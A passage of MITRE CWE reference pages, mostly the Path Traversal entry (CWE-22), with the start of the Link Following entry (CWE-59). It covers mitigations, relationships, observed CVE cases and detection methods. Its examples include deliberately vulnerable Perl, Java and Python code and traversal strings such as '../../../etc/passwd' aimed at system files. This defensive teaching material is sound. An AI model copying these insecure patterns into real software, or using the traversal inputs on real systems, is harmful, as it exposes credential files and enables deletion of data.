This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.36Absolute Path Traversal
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.172Encoding Error
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1219File Handling Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.36Absolute Path Traversal
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.36Absolute Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

(bad code)
Example Language: Perl 
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<", $profilePath) || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
print "<li>$_</li>\n";
}
print "</ul>\n";

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

(attack code)
 
../../../etc/passwd

The program would generate a profile pathname like this:

(result)
 
/users/cwe/profiles/../../../etc/passwd

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

(result)
 
/etc/passwd

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.


Example 2

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

(bad code)
Example Language: Java 
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.


Example 3

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

(bad code)
Example Language: Perl 
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

(attack code)
 
../../../etc/passwd

will have the first "../" stripped, resulting in:

(result)
 
../../etc/passwd

This value is then concatenated with the /home/user/ directory:

(result)
 
/home/user/../../etc/passwd

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).


Example 4

The following code attempts to validate a given input path by checking it against an allowlist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

(bad code)
Example Language: Java 
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
File f = new File(path);
f.delete()
}

An attacker could provide an input such as this:

(attack code)
 
/safe_dir/../important.dat

The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory


Example 5

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

(good code)
Example Language: HTML 
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(bad code)
Example Language: Java 
public class FileUploadServlet extends HttpServlet {
...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();


} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.


Example 6

This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.

(bad code)
Example Language: Python 
import os
import sys
def main():
filename = sys.argv[1]
path = os.path.join(os.getcwd(), filename)
try:
with open(path, 'r') as f:
file_data = f.read()
except FileNotFoundError as e:
print("Error - file not found")
main()

However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file.

(good code)
Example Language: Python 
import os
import sys
def main():
filename = sys.argv[1]
path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")
try:
with open(path, 'r') as f:
file_data = f.read()
except FileNotFoundError as e:
print("Error - file not found")
main()

The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/user/documents, and the user inputs /etc/passwd, the resulting path will be /home/user/documents/etc/passwd. The user is therefore contained within the current working directory as intended.


+ Observed Examples
ReferenceDescription
Large language model (LLM) management tool does not validate the format of a digest value (CWE-1287) from a private, untrusted model registry, enabling relative path traversal (CWE-23), a.k.a. Probllama
Chain: API for text generation using Large Language Models (LLMs) does not include the "\" Windows folder separator in its denylist (CWE-184) when attempting to prevent Local File Inclusion via path traversal (CWE-22), allowing deletion of arbitrary files on Windows systems.
Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24)
Python package manager does not correctly restrict the filename specified in a Content-Disposition header, allowing arbitrary file read using path traversal sequences such as "../"
Python package constructs filenames using an unsafe os.path.join call on untrusted input, allowing absolute path traversal because os.path.join resets the pathname to an absolute path that is specified as part of the input.
directory traversal in Go-based Kubernetes operator app allows accessing data from the controller's pod file system via ../ sequences in a yaml file
Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
a Kubernetes package manager written in Go allows malicious plugins to inject path traversal sequences into a plugin archive ("Zip slip") to copy a file outside the intended directory
Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV.
Go-based archive library allows extraction of files to locations outside of the target folder with "../" path traversal sequences in filenames in a zip file, aka "Zip Slip"
Newsletter module allows reading arbitrary files using "../" sequences.
Chain: PHP app uses extract for register_globals compatibility layer (CWE-621), enabling path traversal (CWE-22)
FTP server allows deletion of arbitrary files using ".." in the DELE command.
FTP server allows creation of arbitrary directories using ".." in the MKD command.
FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using ".." sequences.
Software package maintenance program allows overwriting arbitrary files using "../" sequences.
Bulletin board allows attackers to determine the existence of files using the avatar.
PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function.
Overwrite of files using a .. in a Torrent file.
Chat program allows overwriting files using a custom smiley request.
Chain: external control of values for user's desired language and theme enables path traversal.
Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness: High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • File Processing
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.715OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8022010 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.813OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8652011 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.932OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1031OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1179SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.

Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

Other

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPath Traversal
OWASP Top Ten 2007A4CWE More SpecificInsecure Direct Object Reference
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
CERT C Secure CodingFIO02-CCanonicalize path names originating from untrusted sources
SEI CERT Perl Coding StandardIDS00-PLExactCanonicalize path names before validating them
WASC33Path Traversal
Software Fault PatternsSFP16Path Traversal
OMG ASCSMASCSM-CWE-22
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 11, "Directory Traversal and Using Parent Paths (..)" Page 370. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-185] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". <http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)>.
[REF-186] Johannes Ullrich. "Top 25 Series - Rank 7 - Path Traversal". SANS Software Security Institute. 2010-03-09. <https://www.sans.org/blog/top-25-series-rank-7-path-traversal/>. URL validated: 2023-04-07.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-22. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
[REF-1448] Cybersecurity and Infrastructure Security Agency. "Secure by Design Alert: Eliminating Directory Traversal Vulnerabilities in Software". 2024-05-02. <https://www.cisa.gov/resources-tools/resources/secure-design-alert-eliminating-directory-traversal-vulnerabilities-software>. URL validated: 2024-07-14.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2022-07-11Nick Johnston
Identified weakness in Perl demonstrative example
2024-02-29
(CWE 4.15, 2024-07-16)
Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Observed_Examples
2013-07-17CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Research_Gaps
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITRE
updated Demonstrative_Examples
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Type
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Description, Detection_Factors
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content TeamMITRE
updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References
+ Previous Entry Names
Change DatePrevious Entry Name
2010-02-16Path Traversal

CWE-59: Improper Link Resolution Before File Access ('Link Following')

Weakness ID: 59
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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Edit Custom Filter


+ Description
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
+ Alternate Terms
insecure temporary file:
Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.
Zip Slip:
"Zip slip" is an attack that uses file archives (e.g., ZIP, tar, rar, etc.) that contain filenames with path traversal sequences that cause the files to be written outside of the directory under which the archive is expected to be extracted [REF-1282]. It is most commonly used for relative path traversal (CWE-23) and link following (CWE-59).
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Access Control

Technical Impact: Read Files or Directories; Modify Files or Directories; Bypass Protection Mechanism

An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism then an attacker may be able to bypass the mechanism.
Other

Technical Impact: Execute Unauthorized Code or Commands

Windows simple shortcuts, sometimes referred to as soft links, can be exploited remotely since a ".LNK" file can be uploaded like a normal file. This can enable remote execution.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
